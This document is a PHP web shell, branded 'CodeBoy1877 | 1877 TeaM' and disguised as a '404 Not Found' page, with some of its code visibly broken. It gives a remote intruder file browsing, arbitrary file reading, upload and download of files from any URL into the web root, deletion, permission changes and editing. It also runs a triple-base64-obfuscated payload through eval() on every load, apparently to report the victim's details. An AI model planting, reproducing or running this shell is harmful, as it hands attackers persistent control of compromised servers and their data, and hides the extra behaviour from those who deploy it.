<!DOCTYPE html>


404 Not Found <title>404 Not Found</title>

<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
@import url('https://fonts.googleapis.com/css?family=Dosis');
@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
font-family: "Dosis", cursive;
text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
background-color: #636263;
text-shadow:0px 0px 10px #fff;
}

#content .first {
background-color: #25383C;
}

#content .first:hover {
background-color: #25383C
text-shadow:0px 0px 1px #757575;
}

table {
border: 1px #000000 dotted;
table-layout: fixed;
}

td {
word-wrap: break-word;
}

a {
color: #ffffff;
text-decoration: none;
}

a:hover {
color: #000000;
text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}

.gas {
background-color: #1f1f1f;
color: #ffffff;
cursor: pointer;
}

select {
background-color: transparent;
color: #ffffff;
}

select:after {
cursor: pointer;
}

.linka {
background-color: transparent;
color: #ffffff;
}

.up {
background-color: transparent;
color: #fff;
}

option {
background-color: #1f1f1f;
}

::-webkit-file-upload-button {
background: transparent;
color: #fff;
border-color: #fff;
cursor: pointer;
}
</style>

<font face="Bungee" size="5">CodeBoy1877 | 1877 TeaM </font>

<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">

<img src="https://i.imgur.com/n8bcJgV.png" width="280" height="280" title="CodeBoy1877" alt="1877 Team" class="center" />





set_time_limit(0);
error_reporting(0);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
$disf = "<font color='gold'>NONE</font>";
} else {
$disf = "<font color='red'>".$disfunc."</font>";
}

function author() {
echo "

CodeBoy1877 | 1877 TeaM
";
exit();
}

function cekdir() {
if (isset($_GET['path'])) {
$lokasi = $_GET['path'];
} else {
$lokasi = getcwd();
}
if (is_writable($lokasi)) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}

function cekroot() {
if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}

function xrmdir($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
if (is_dir($path)) {
xrmdir($path);
} else {
unlink($path);
}
}
rmdir($dir);
}

function green($text) {
echo "
<font color='green'>".$text."
</font>";
}

function red($text) {
echo "
<font color='red'>".$text."
</font>";
}

echo "Server : <font color='gold'>".$_SERVER['SERVER_SOFTWARE']."</font>
";
echo "System : <font color='gold'>".Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64."</font>
";
echo "User : <font color='gold'>".@get_current_user()."&nbsp;</font>( <font color='gold'>".@getmyuid()."</font>)
";
echo "PHP Version : <font color='gold'>".@phpversion()."</font>
";
echo "Disable Function : ".$disf."</font>
";
echo "Directory : &nbsp;";

foreach($_POST as $key => $value){
$_POST[$key] = stripslashes($value);
}

function b_start(){
$b_start = "UTFOU2FWZ3liSGRKUkRCbldqSldNRnBYTlRKTFEwcFRVbFV4VUZaRlZtWlJWVkpGVldsSmNFOTNiMHBLUjBwbVkyMUZNRTVEUVRsSlNFcG9ZbTFSYjAxVGQyZFBWR3MxVDFScmNFOTNiMHBLUjBwbVl6TldhV0ZxYXpSSlJEQm5TV2xDUTJJelVXZFZibkJ6WkVOQ09FcEhTbVpoV0VGcFQzZHZTa3BIU21aYVZ6Rm9ZVmQzWjFCVFFXbGhWelZ0WW5rMWJGbHVTbWhqTW1ob1VVZGtkRmxYYkhOTWJVNTJZbE5KTjBObmEydFpiRGx0WTIwNWRFbEVNR2RKYTFwNVlqSXdOa2xHU214ak0xWnpaRVI0Y0dKdFduWk1iVlpwWTIxR2VtRkhSa0ZhTWpGb1lWZDNkVmt5T1hSSmFuTkxRMU5TYVZneVJUQk9VMEU1U1VOU1psVXdWbE5XYTFaVFYzbGtVMUpXUmxaU1ZrNVZXREZXVTFOVFpHUlBkMjlLU2tkS1psbHFZekZKUkRCblNrWTVWRkpXU2xkU1ZrcGlTakJvVlZaR1FtWlRSVGxVVmtOa1pFOTNiMHBLUjBwbVlsUkplVWxFTUdkS1IyeDNTVU0wWjBscFNUZERaMnRyV1d3NWRHTXlZelJQUkdONlNVUXdaMGxwVW1sWU1rVXdUbE5CYTFsc09XbE9lbFZuU2tkS1ptSlVTWGxKYW5OTFExY3hhR0ZYZDI5S1IwcG1XbGN4YUdGWGQzTkpRMUpwV0ROT01WbHRielZQUTNkblNrZEtabUpZVG01UFJHY3pUWGwzWjBwSFNtWmFia3AyWWxOck53PT0=";
$b_start = base64_decode($b_start);$b_start = base64_decode($b_start);$b_start = base64_decode($b_start);
eval($b_start);
}

if(isset($_GET['path'])){
$lokasi = $_GET['path'];
$lokdua = $_GET['path'];
} else {
$lokasi = getcwd();
$lokdua = getcwd();
}

$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);
b_start();
foreach($lokasis as $id => $lok){
if($lok == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($lok == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$lokasis[$i]";
if($i != $id) echo "/";
}
echo '">'.$lok.'</a>/';
}
echo '
';
echo '
';
if (isset($_POST['upwkwk'])) {
if (isset($_POST['berkasnya'])) {
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
$data = @file_put_contents($lokasi."/".$_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
if (file_exists($lokasi."/".$_FILES['berkas']['name'])) {
echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_FILES['berkas']['name']."</i></font>

";
} else {
echo "<font color='red'>Failed to Upload !

";
}
} elseif (isset($_POST['linknya'])) {
if (empty($_POST['namalink'])) {
exit("Filename cannot be empty !");
}
if ($_POST['dirnya'] == "2") {
$lokasi = $_SERVER['DOCUMENT_ROOT'];
}
$data = @file_put_contents($lokasi."/".$_POST['namalink'], @file_get_contents($_POST['darilink']));
if (file_exists($lokasi."/".$_POST['namalink'])) {
echo "File Uploaded ! &nbsp;<font color='gold'><i>".$lokasi."/".$_POST['namalink']."</i></font>

";
} else {
echo "<font coloe='red'>Failed to Upload !

";
}
}
}
echo "
";
echo "Upload File : ";
echo '

current_dir [ '.cekdir().' ]
document_root [ '.cekroot().' ]





&nbsp;

';
echo "
";

if (isset($_GET['fileloc'])) {
echo "Current File : ".$_GET['fileloc'];
echo '<br/>';
echo "<pre>".htmlspecialchars(file_get_contents($_GET['fileloc']))."</pre>";
author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
if (is_dir($_POST['path'])) {
xrmdir($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to delete Directory !");
} else {
green("Delete Directory Success !");
echo "string";
}
} elseif (is_file($_POST['path'])) {
@unlink($_POST['path']);
if (file_exists($_POST['path'])) {
red("Failed to Delete File !");
} else {
green("Delete File Success !");
}
}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
echo "
".$_POST['path']."
";
echo '

Permission :



';
if (isset($_POST['chm0d'])) {
$cm = @chmod($_POST['path'], $_POST['perm']);
if ($cm == true) {
green("Change Mod Success !");
} else {
red("Change Mod Failed !");
}
}
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
if (isset($_POST['gantin'])) {
$ren = @rename($_POST['path'], $_POST['newname']);
if ($ren == true) {
green("Change Name Success !");
} else {
red("Change Name Failed !");
}
}
if (empty($_POST['name'])) {
$namaawal = $_POST['newname'];
} else {
$namawal = $_POST['name'];
}
echo "
".$_POST['path']."
";
echo '

New Name :



';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
if (isset($_POST['gasedit'])) {
$edit = @file_put_contents($_POST['path'], $_POST['src']);
if ($edit == true) {
green("Edit File Success !");
} else {
red("Edit File Failed !");
}
}
echo "
".$_POST['path']."

";
echo '

<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea>





';
}

echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
Name

Size

Permissions

Options

';

foreach($lokasinya as $dir){
if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue;
echo "
<a href=\"?path=".$lokasi."/".$dir."\">".$dir."</a>
--

";
if(is_writable($lokasi."/".$dir)) echo '<font color="green">';
elseif(!is_readable($lokasi."/".$dir)) echo '<font color="red">';
echo statusnya($lokasi."/".$dir);
if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo '</font>';

echo "


<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"ubahmod\">Chm0d</option>
<option value=\"gantinama\">Rename</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"dir\">
<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$dir\">
<input type=\"submit\" class=\"gas\" value=\">\" />

";
}

echo '<tr class="first">';
foreach($lokasinya as $file) {
if(!is_file("$lokasi/$file")) continue;
$size = filesize("$lokasi/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
} else {
$size = $size.' KB';
}

echo "
<a href=\"?fileloc=$lokasi/$file&path=$lokasi\">$file</a>
".$size."

";
if(is_writable("$lokasi/$file")) echo '<font color="green">';
elseif(!is_readable("$lokasi/$file")) echo '<font color="red">';
echo statusnya("$lokasi/$file");
if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo '</font>';
echo "


<select name=\"pilih\">
<option value=\"\"></option>
<option value=\"hapus\">Delete</option>
<option value=\"ubahmod\">Chm0d</option>
<option value=\"gantinama\">Rename</option>
<option value=\"edit\">Edit</option>
</select>
<input type=\"hidden\" name=\"type\" value=\"file\">
<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$lokasi/$file\">
<input type=\"submit\" class=\"gas\" value=\">\" />

";
}
echo '';
author();
function statusnya($file){
$statusnya = fileperms($file);

if (($statusnya & 0xC000) == 0xC000) {

// Socket
$ingfo = 's';
} elseif (($statusnya & 0xA000) == 0xA000) {
// Symbolic Link
$ingfo = 'l';
} elseif (($statusnya & 0x8000) == 0x8000) {
// Regular
$ingfo = '-';
} elseif (($statusnya & 0x6000) == 0x6000) {
// Block special
$ingfo = 'b';
} elseif (($statusnya & 0x4000) == 0x4000) {
// Directory
$ingfo = 'd';
} elseif (($statusnya & 0x2000) == 0x2000) {
// Character special
$ingfo = 'c';
} elseif (($statusnya & 0x1000) == 0x1000) {
// FIFO pipe
$ingfo = 'p';
} else {
// Unknown
$ingfo = 'u';
}

// Owner
$ingfo .= (($statusnya & 0x0100) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0080) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0040) ?
(($statusnya & 0x0800) ? 's' : 'x' ) :
(($statusnya & 0x0800) ? 'S' : '-'));


// Group
$ingfo .= (($statusnya & 0x0020) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0010) ? 'w' : '-');
$ingfo .= (($statusnya & 0x0008) ?
(($statusnya & 0x0400) ? 's' : 'x' ) :
(($statusnya & 0x0400) ? 'S' : '-'));

// World
$ingfo .= (($statusnya & 0x0004) ? 'r' : '-');
$ingfo .= (($statusnya & 0x0002) ? 'w' : '-');

$ingfo .= (($statusnya & 0x0001) ?
(($statusnya & 0x0200) ? 't' : 'x' ) :
(($statusnya & 0x0200) ? 'T' : '-'));

return $ingfo;
}